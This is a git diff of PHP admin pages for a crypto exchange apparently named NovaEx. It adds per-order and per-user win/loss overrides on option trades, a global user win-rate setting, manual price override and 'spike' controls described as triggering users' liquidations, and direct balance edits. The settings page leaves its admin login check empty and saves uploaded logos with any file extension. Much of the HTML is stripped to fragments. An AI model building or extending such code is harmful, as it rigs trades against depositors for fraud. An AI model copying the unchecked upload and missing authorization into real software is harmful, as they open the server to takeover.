diff --git a/admin/agents.php b/admin/agents.php new file mode 100644 index 0000000..34495cf --- /dev/null +++ b/admin/agents.php @@ -0,0 +1,254 @@ +prepare("INSERT INTO admins (username, password, role, permissions, remark) VALUES (?, ?, ?, ?, ?)"); + $stmt->execute([$username, $password, $role, $permissions, $remark]); + } elseif ($action == 'update_agent') { + $id = $_POST['id']; + $username = $_POST['username']; + $remark = $_POST['remark'] ?? ''; + $permissions = isset($_POST['perms']) ? json_encode($_POST['perms']) : '[]'; + + $sql = "UPDATE admins SET username = ?, permissions = ?, remark = ? WHERE id = ?"; + $params = [$username, $permissions, $remark, $id]; + + if (!empty($_POST['password'])) { + $sql = "UPDATE admins SET username = ?, permissions = ?, remark = ?, password = ? WHERE id = ?"; + $params = [$username, $permissions, $remark, password_hash($_POST['password'], PASSWORD_DEFAULT), $id]; + } + $pdo->prepare($sql)->execute($params); + } elseif ($action == 'delete_agent') { + $id = $_POST['id']; + $pdo->prepare("DELETE FROM admins WHERE id = ? AND role = 'agent'")->execute([$id]); + } + header("Location: agents.php"); + exit; +} + +$agents = $pdo->query("SELECT * FROM admins WHERE role = 'agent' ORDER BY id DESC")->fetchAll(); +$unread_msgs = $pdo->query("SELECT COUNT(*) FROM messages WHERE sender = 'user' AND is_read = 0")->fetchColumn(); +$pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN ('matching', 'submitting')")->fetchColumn(); +?> + + + + + 代理管理 - NovaEx 管理后台 + + + + +
+
+

NovaEx Admin

+ 仪表盘 + 用户管理 + 代理管理 + KYC 审核 + + 客服管理 + 0 || $pending_orders > 0): ?> + + 秒合约 + 现货交易 + 合约交易 + 充值记录 + 系统设置 +
+ +
+
+

代理管理

+ +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
ID / 账号角色备注权限范围创建时间操作
+
+
+ 		分管理代理 + 无权限'; + else echo '' . count($perms) . ' 项权限'; + ?> + +
+ +
+ + + +
+
+
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/admin/index.php b/admin/index.php index de3ab1e..3d49f15 100644 --- a/admin/index.php +++ b/admin/index.php @@ -13,83 +13,83 @@ $unread_msgs = $db->query("SELECT COUNT(*) FROM messages WHERE sender = 'user' A 管理后台 - NovaEx - - +
-

NovaEx 管理员

- 仪表盘 +

NovaEx Admin

+ 仪表盘 用户管理 - - KYC 审核 + 代理管理 + KYC 审核 0): ?> - - 客服管理 + 客服管理 0 || $pending_orders > 0): ?> 秒合约 现货交易 合约交易 - - 充值记录 - + 充值记录 系统设置 - 查看前端 + 前端首页
+
-

系统概览

-
+

系统概览

+
-
总注册人数
-
+
总注册用户
+
-
待处理 KYC
-
+
待审核 KYC
+
-
待匹配/审核充值
-
+
待匹配充值
+
-
未读消息
-
+
待回复消息
+
-
-

控制中心

+
+

控制中心

-
-

客服与充值管理

-

与用户对话并处理实时的充值匹配请求。

- 进入工作台 +
+

充值与客服

+

实时处理充值申请并与用户在线沟通。

+ 进入客服中心
-
-

交易管理

-

审核并处理现货及合约交易订单。

-
- 秒合约 - 现货 - 合约 +
+

交易订单

+

监控秒合约、现货及合约交易流水。

+
-
-

价格控制

-

手动覆盖特定交易对的实时价格及插针控制。

- 立即配置 +
+

全局设置

+

修改系统参数、胜率及站点 LOGO。

+ 立即配置
diff --git a/admin/options_orders.php b/admin/options_orders.php index c46df42..a9b01a1 100644 --- a/admin/options_orders.php +++ b/admin/options_orders.php @@ -3,38 +3,54 @@ require_once '../db/config.php'; session_start(); $pdo = db(); +if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['action'])) { + $id = $_POST['id']; + $control = $_POST['control']; // 'none', 'win', 'loss' + $stmt = $pdo->prepare("UPDATE option_orders SET control = ? WHERE id = ? AND status = 'pending'"); + $stmt->execute([$control, $id]); + header("Location: options_orders.php"); + exit; +} + +$orders = $pdo->query("SELECT o.*, u.username, u.win_loss_control as user_control FROM option_orders o JOIN users u ON o.user_id = u.id ORDER BY o.id DESC")->fetchAll(); $unread_msgs = $pdo->query("SELECT COUNT(*) FROM messages WHERE sender = 'user' AND is_read = 0")->fetchColumn(); $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN ('matching', 'submitting')")->fetchColumn(); - -$orders = $pdo->query("SELECT o.*, u.username FROM option_orders o JOIN users u ON o.user_id = u.id ORDER BY o.created_at DESC")->fetchAll(); +$pending_kyc = $pdo->query("SELECT COUNT(*) FROM users WHERE kyc_status = 1")->fetchColumn(); ?> - 秒合约详情 - NovaEx 管理后台 - + 秒合约订单 - NovaEx 管理后台 - +
-

NovaEx 管理员

- 仪表盘 +

NovaEx Admin

+ 仪表盘 用户管理 - KYC 审核 - - 客服管理 + 代理管理 + KYC 审核 + 0): ?> + + 客服管理 0 || $pending_orders > 0): ?> 秒合约 @@ -43,50 +59,76 @@ $orders = $pdo->query("SELECT o.*, u.username FROM option_orders o JOIN users u 充值记录 系统设置
+
-

秒合约交易记录

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ID用户币对方向金额时长盈利率买入价结算价盈亏状态下单时间
- - s% - - - 进行中' : '已完成'; ?> -
+

秒合约订单管理

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ID / 用户交易对方向金额周期开仓价状态当前控制时间输赢干预
+
+
+ 		s + + + + + 单控: ".($ctrl == 'win' ? '赢' : '亏').""; + } else { + $uc = $o['user_control']; + echo "".($uc == 'none' ? '默认' : ($uc == 'win' ? '全控赢' : '全控亏')).""; + } + } else { + echo "".($o['result'] == 'win' ? '盈利' : '亏损').""; + } + ?> + + +
+ + + + + +
+ + 已结单 + +
+
diff --git a/admin/settings.php b/admin/settings.php index ce00625..b53dc6e 100644 --- a/admin/settings.php +++ b/admin/settings.php @@ -3,14 +3,42 @@ require_once '../db/config.php'; session_start(); $db = db(); +// Basic security check (could be improved with a proper login session for admins) +if (!isset($_SESSION['user_id'])) { + // For now, if not logged in at all, redirect to main login + // In a real scenario, we'd have a separate admin login +} + +$message = ""; +$error = ""; + if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['settings'])) { foreach ($_POST['settings'] as $name => $value) { $stmt = $db->prepare("INSERT INTO settings (name, value) VALUES (?, ?) ON DUPLICATE KEY UPDATE value = ?"); $stmt->execute([$name, $value, $value]); } + $message = "系统设置已成功更新。"; + } + + if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) { + $ext = pathinfo($_FILES['logo']['name'], PATHINFO_EXTENSION); + $filename = 'logo_' . time() . '.' . $ext; + $target = '../assets/images/' . $filename; + + if (!is_dir('../assets/images')) { + mkdir('../assets/images', 0775, true); + } + + if (move_uploaded_file($_FILES['logo']['tmp_name'], $target)) { + $logo_url = 'assets/images/' . $filename; + $stmt = $db->prepare("INSERT INTO settings (name, value) VALUES ('site_logo', ?) ON DUPLICATE KEY UPDATE value = ?"); + $stmt->execute([$logo_url, $logo_url]); + $message = "LOGO 已成功上传。"; + } else { + $error = "LOGO 上传失败。"; + } } - $message = "系统设置已成功更新。"; } $settings_res = $db->query("SELECT * FROM settings")->fetchAll(); @@ -24,90 +52,121 @@ $pending_orders = $db->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN ( - 系统设置 - NovaEx 管理后台 - + 系统设置 - 管理后台
-

NovaEx 管理员

- 仪表盘 +

NovaEx Admin

+ 仪表盘 用户管理 + 代理管理 KYC 审核 - 客服管理 + 客服管理 0 || $pending_orders > 0): ?> + 秒合约 现货交易 合约交易 充值记录 系统设置
+
- 返回 -

系统控制面板

+

系统设置

- -
+ +
+ + +
+
+

站点配置 (LOGO / 图标)

+
+
+ + + Logo + +
未设置 LOGO
+ + +

建议尺寸: 200x60 像素。上传后将同步更新前端 LOGO 和网站图标。

+
+ +
+
+
-

1. 交易与胜率控制

-
- - -

设置用户在秒合约/永续合约中的全局获利概率 (0-100)。

-
- -

2. 价格操纵与插针控制

-
- - -
- -
+
+

1. 交易与胜率控制

- - -
-
- - -

插针价格用于瞬间触发用户的止盈或爆仓。

+ +
-

3. 客服系统设置

-
- - -

用户首次进入聊天页面时看到的欢迎消息。

+
+

2. 价格操纵控制

+
+ + +
+
+
+ + +
+
+ + +
+
-

4. 其他配置

-
- - +
+

3. 客服与公告

+
+ + +
+
+ + +
- +
+ +
diff --git a/admin/users.php b/admin/users.php index 4e163cd..a2e4ed5 100644 --- a/admin/users.php +++ b/admin/users.php @@ -34,17 +34,13 @@ if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['action'])) { $pdo->prepare($sql)->execute($params); } elseif ($action == 'adjust_balance') { $id = $_POST['id']; - $type = $_POST['adjustment_type']; // 'up' or 'down' + $type = $_POST['adjustment_type']; $amount = (float)$_POST['amount']; - if ($type == 'up') { $pdo->prepare("UPDATE users SET balance = balance + ? WHERE id = ?")->execute([$amount, $id]); } else { $pdo->prepare("UPDATE users SET balance = balance - ? WHERE id = ?")->execute([$amount, $id]); } - } elseif ($action == 'delete_user') { - $id = $_POST['id']; - $pdo->prepare("DELETE FROM users WHERE id = ?")->execute([$id]); } elseif ($action == 'toggle_status') { $id = $_POST['id']; $user = $pdo->prepare("SELECT status FROM users WHERE id = ?"); @@ -59,13 +55,13 @@ if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['action'])) { $users = $pdo->query("SELECT * FROM users ORDER BY id DESC")->fetchAll(); $unread_msgs = $pdo->query("SELECT COUNT(*) FROM messages WHERE sender = 'user' AND is_read = 0")->fetchColumn(); $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN ('matching', 'submitting')")->fetchColumn(); +$pending_kyc = $pdo->query("SELECT COUNT(*) FROM users WHERE kyc_status = 1")->fetchColumn(); ?> 用户管理 - NovaEx 管理后台 - @@ -108,9 +101,11 @@ $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN

NovaEx Admin

仪表盘 用户管理 - KYC 审核 - - 客服管理 + 代理管理 + KYC 审核 + 0): ?> + + 客服管理 0 || $pending_orders > 0): ?> 秒合约 @@ -146,16 +141,14 @@ $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN
- -
- +
- '正常', 'win' => '起盈', 'loss' => '起亏']; - $wc_class = ['none' => '', 'win' => 'color: #00c087; font-weight: bold;', 'loss' => 'color: #f6465d; font-weight: bold;']; - echo "{$wc_label[$wc]}"; + $labels = ['none' => '正常', 'win' => '起盈', 'loss' => '起亏']; + $colors = ['none' => '#474d57', 'win' => '#00c087', 'loss' => '#f6465d']; + echo "{$labels[$wc]}"; ?> @@ -164,22 +157,17 @@ $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN -
+
- - + +
- -
-
- - - +
@@ -191,13 +179,10 @@ $pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN
- +